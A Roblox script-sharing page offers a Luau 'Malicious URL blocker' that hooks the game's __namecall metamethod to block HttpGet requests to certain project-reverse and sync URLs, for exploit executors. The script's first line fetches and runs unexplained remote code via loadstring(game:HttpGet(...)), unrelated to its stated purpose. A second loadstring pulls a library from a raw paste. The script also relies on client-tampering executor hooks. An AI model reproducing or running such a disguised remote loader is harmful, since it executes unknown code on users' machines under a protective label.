Malicious URL blocker
- 4
- views
- 15
- runs
About
Blocks HttpGet requests to project reverse and project sync. Your executor must have hookmetamethod and getnamecallmethod for this to work.
Script
Version history
Loading…
loadstring(game:HttpGet("https://script.roscripts.io/4dE1jo6"))() if getgenv().hookRunning then warn("[Hook]: HttpGet is already hooked."); return end local notify = loadstring(game:HttpGet("https://api.rubis.app/v2/scrap/anQYh8MLKhtUE0A6/raw"))() -- opensource notification library local shitExecutors = {"xeno", "solara"} -- executors which dont support hookmetamethod local blacklist = {"project-reverse", "syncapp", "syncp"} -- urls found with matching text will be blocked. -- core function local function check(url: string): boolean? -- checks a url for a matching string in blacklist. if not url then return nil end -- returns nil if no url is given. for _, phrase in blacklist do if string.find(url:lower(), phrase:lower(), 1, true) then return true end end return false end if table.find(shitExecutors, identifyexecutor():lower()) then game:GetService("Players").LocalPlayer:Kick("your executor is ass \n(lacking hookmetamethod/getnamecallmethod)") return endprint("[Hook]: Initializing hook on method '__namecall'.") getgenv().hookRunning = true local hook; hook = hookmetamethod(game, "__namecall", function(self, ...) local method = getnamecallmethod():lower() if method == "httpget" and self == game then local check = check(...) if check then -- if url contains blacklisted pattern. notify.prompt('Alert', "An outbound request to a malicious URL has been intercepted.", 4) print(`[Hook]: Intercepted URL: {...}`) return "" -- blocks the http request. end end return hook(self,...) end)
Comments · 0
Sign in to comment.
No comments yet.